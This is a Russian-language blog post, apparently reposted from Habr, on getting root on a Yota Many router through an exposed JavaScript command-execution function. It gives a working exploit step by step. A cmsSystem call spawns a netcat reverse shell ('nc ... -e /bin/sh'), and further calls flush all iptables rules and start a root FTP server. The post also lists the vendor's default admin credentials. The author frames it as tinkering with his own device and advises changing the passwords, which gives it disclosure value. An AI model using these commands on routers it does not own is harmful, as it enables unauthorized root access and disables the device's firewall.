Заглянем под юбку новой Yota Many

Добрый день!
Как Вы думаете, каким минимальным количеством инструментов можно получить SSH-доступ к роутеру Yota Many?
А SSH-доступ с root-правами?

Вы, скорее всего удивитесь, но ответ — двумя, в обоих случаях. Это Ваш браузер и Netcat.

Я очень удивился, когда случайно в списке подключаемых JS-скриптов на странице http://status.yota.ru/ я увидел
этот http://status.yota.ru/js/devControl.js, а в нём вот такую функцию:

function cmsSystem(s,callback) {     if (simulator) {         setTimeout(function () { callback(0); },100);         return;     }  	var r={}; 	r.authparam=calcAuthParam(); 	r.system=s; 	r.command="system";     $.post(         devCtrlUrl, r, callback, "json"     ).error(devErrorHandler); } 

А использовалась эта функция, в этом же файле, например, так:

cmsSystem(         "( killall up_cli ; rm -rf /mnt/jffs2/upload/* ) 1>/dev/null 2>/dev/null",         function() { callback(true); }     );  

Чувствуете чем пахнет?
Да, эта функция выполняла команду в консоли роутера, но вывода результата она не имела (ну, точнее имела, но не совсем результата).
Тогда я решил поступить следующим образом.

Первое, что нам нужно — скачать Netcat(Windows, Unix) и запустить его с параметрами:

nc -n -vv -l -p 5566 

Где:

  • 5566 — порт на нашем компьютере, на котором Netcat будет ждать соеденения.

Получаем следующее:

listening on [any] 5566 ... 

Второе — запустить браузер и перейти в консоль JavaScript (в Google Chrome — F12, вкладка Console) и ввести команду:

cmsSystem("nc 10.0.0.33 5566 -e /bin/sh", null); 

Где:

  • 10.0.0.33 — IP-адрес выданный Вашему компьютеру роутером.
  • 5566 — порт на нашем компьютере, на котором мы ждем подключения.

Через мгновение в нашей консоли мы увидим:

connect to [10.0.0.33] from (UNKNOWN) [10.0.0.2] 48656 

После чего смело выполняем команды так, как будто мы это делали по SSH (все команды выполняются от имени root).

Информация о системе, процессоре, памяти и т.п.

id

uid=0(root) gid=0(root) 

uname -a

Linux 9615-cdp 3.0.21+ #1 PREEMPT Tue Apr 30 18:09:49 CST 2013 armv7l GNU/Linux 

cat /proc/version

Linux version 3.0.21+ (kevin@kevin-android-build-system) (gcc ver1117 (prerelease) (GCC))  #1 PREEMPT Tue Apr 30 18:09:49 CST 2013 

cat /proc/cpuinfo

Processor       : ARMv7 Processor rev 1 (v7l) BogoMIPS        : 274.02 Features        : swp half thumb fastmult vfp edsp neon vfpv3 tls vfpv4 CPU implementer : 0x41 CPU architecture: 7 CPU variant     : 0x0 CPU part        : 0xc05 CPU revision    : 1  Hardware        : QCT MSM9615 CDP Revision        : 0000 Serial          : 0000000000000000 

cat /proc/meminfo

MemTotal:          44184 kB MemFree:            2476 kB Buffers:               0 kB Cached:            10108 kB SwapCached:            0 kB Active:            13868 kB Inactive:           4840 kB Active(anon):       8652 kB Inactive(anon):       16 kB Active(file):       5216 kB Inactive(file):     4824 kB Unevictable:           0 kB Mlocked:               0 kB HighTotal:             0 kB HighFree:              0 kB LowTotal:          44184 kB LowFree:            2476 kB SwapTotal:             0 kB SwapFree:              0 kB Dirty:                 0 kB Writeback:             0 kB AnonPages:          8616 kB Mapped:             5388 kB Shmem:                68 kB Slab:              16900 kB SReclaimable:      11744 kB SUnreclaim:         5156 kB KernelStack:        1336 kB PageTables:         1216 kB NFS_Unstable:          0 kB Bounce:                0 kB WritebackTmp:          0 kB CommitLimit:       22092 kB Committed_AS:     484816 kB VmallocTotal:     827392 kB VmallocUsed:      301728 kB VmallocChunk:     519164 kB 

free -m

             total         used         free       shared      buffers Mem:            43           40            2            0            0 -/+ buffers:                 40            2 Swap:            0            0            0 

df -h

Filesystem                Size      Used Available Use% Mounted on /dev/root                33.6M     30.1M      3.5M  90% / tmpfs                    21.6M     52.0K     21.5M   0% /tmp none                     21.6M      8.0K     21.6M   0% /dev tmpfs                    21.6M      4.0K     21.6M   0% /dev/shm /dev/mtdblock15          44.1M      1.4M     42.7M   3% /mnt/jffs2 /dev/mtdblock10          28.8M     19.9M      8.9M  69% /usr 

top

Mem: 41756K used, 2428K free, 0K shrd, 0K buff, 10136K cached CPU: 30.7% usr 23.0% sys  0.0% nic 46.1% idle  0.0% io  0.0% irq  0.0% sirq Load average: 1.01 1.09 1.11 1/167 8372  m  PID  PPID USER     STAT   VSZ %MEM CPU %CPU COMMAND  8372  4979 root     R     3040  6.8   0 23.0 top   862     1 root     S    96700218.3   0  0.0 QCMAP_ConnectionManager /etc/mobil   672     1 root     S    86448195.2   0  0.0 /usr/bin/qmuxd   864     1 root     S    46288104.5   0  0.0 lte_cm   691     1 root     S    44960101.5   0  0.0 /usr/bin/netmgrd -u /etc/udhcpc.d/   644     1 root     S    36400 82.2   0  0.0 qti  4368     1 root     S    36384 82.1   0  0.0 /usr/bin/cxmapp   602     1 root     S    34588 78.1   0  0.0 /bin/msg_center   540     1 root     S    25424 57.4   0  0.0 /sbin/adbd   707   688 root     S    20396 46.0   0  0.0 /usr/bin/mbimd   663     1 root     S    20212 45.6   0  0.0 /usr/bin/atfwd_daemon  1211     1 root     S    18272 41.2   0  0.0 /yota/cgi-bin/wpdaemon.cgi start   775     1 root     S    18140 40.9   0  0.0 /bin/user_in_ctl server   657     1 root     S    11604 26.2   0  0.0 /usr/bin/diagrebootapp   783     1 root     S     9940 22.4   0  0.0 /bin/epd_ctl  1116     1 root     S     4992 11.2   0  0.0 lighttpd -f /etc2/lighttpd/lighttp   619   612 root     S     4368  9.8   0  0.0 up_cli  4544     1 root     S     3908  8.8   0  0.0 hostapd -B /tmp/hostapd1.conf   612     1 root     S     3040  6.8   0  0.0 /bin/sh /yota/up_cli_watchdog.sh  4274     1 root     S     3040  6.8   0  0.0 /bin/sh /bin/modem_led.sh 

iptables -L

Chain INPUT (policy ACCEPT) target     prot opt source               destination DROP       all  --  anywhere             10.0.0.0/24  Chain FORWARD (policy ACCEPT) target     prot opt source               destination DROP       all  --  anywhere             anywhere DROP       all  --  anywhere             10.0.0.4  Chain OUTPUT (policy ACCEPT) target     prot opt source               destination 

Устройство, мягко говоря, не блещет производительностью.
У меня не получилось поставить что-либо через ipkg, из-за малого количества оперативки и отсутствия SWAP — ipkg постоянно падает с «segmentation fault» (может у меня руки кривые?)

Включаем стандартную админ-панель производителя

Включаем встроенный FTP-сервер

Для начала нам надо почистить iptables:

cmsSystem("iptables -F", null); cmsSystem("iptables -X", null); cmsSystem("iptables -t nat -F", null); cmsSystem("iptables -t nat -X", null); cmsSystem("iptables -t mangle -F", null); cmsSystem("iptables -t mangle -X", null); cmsSystem("iptables -P INPUT ACCEPT", null); cmsSystem("iptables -P FORWARD ACCEPT", null); cmsSystem("iptables -P OUTPUT ACCEPT", null); 

После чего перезагрузить роутер:

rebootDevice(null); 

Далее включаем FTP-сервер:

cmsSystem("tcpsvd -vE 0.0.0.0 21 ftpd -w /", null); 

И любым FTP-клиентом заходим на ftp://10.0.0.1:21/

Идем в /etc2/lighttpd/ и правим lighttpd.conf, добавляем после $HTTP["host"] == "status.yota.ru" { ... } вот это:

$HTTP["host"] == "full.yota.ru" {     server.document-root = "/www/" } 

Идем в /etc/ и правим hosts, добавляем в конце файла:

10.0.0.1 full.yota.ru 

Переходим в браузере по адресу http://full.yota.ru/.
Вводим имя пользователя gemtek и пароль gemtek0978 (или operator, пароль operator).
Наслаждаемся нормальной, не урезанной административной панелью:
image

Имена пользователей находятся в /mnt/jffs2/conf/user/ui.conf, пароли в /mnt/jffs2/conf/user/httpasswd.conf
Пароли настоятельно рекомендую изменить!

На этом моё баловство закончилось, но я надеюсь, что в комментариях подскажут как побороть проблемы с ipkg и восстановлением состояния iptables после перезагрузки(которое, кстати, не влияет на FTP сервер).

ссылка на оригинал статьи http://habrahabr.ru/post/192118/

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *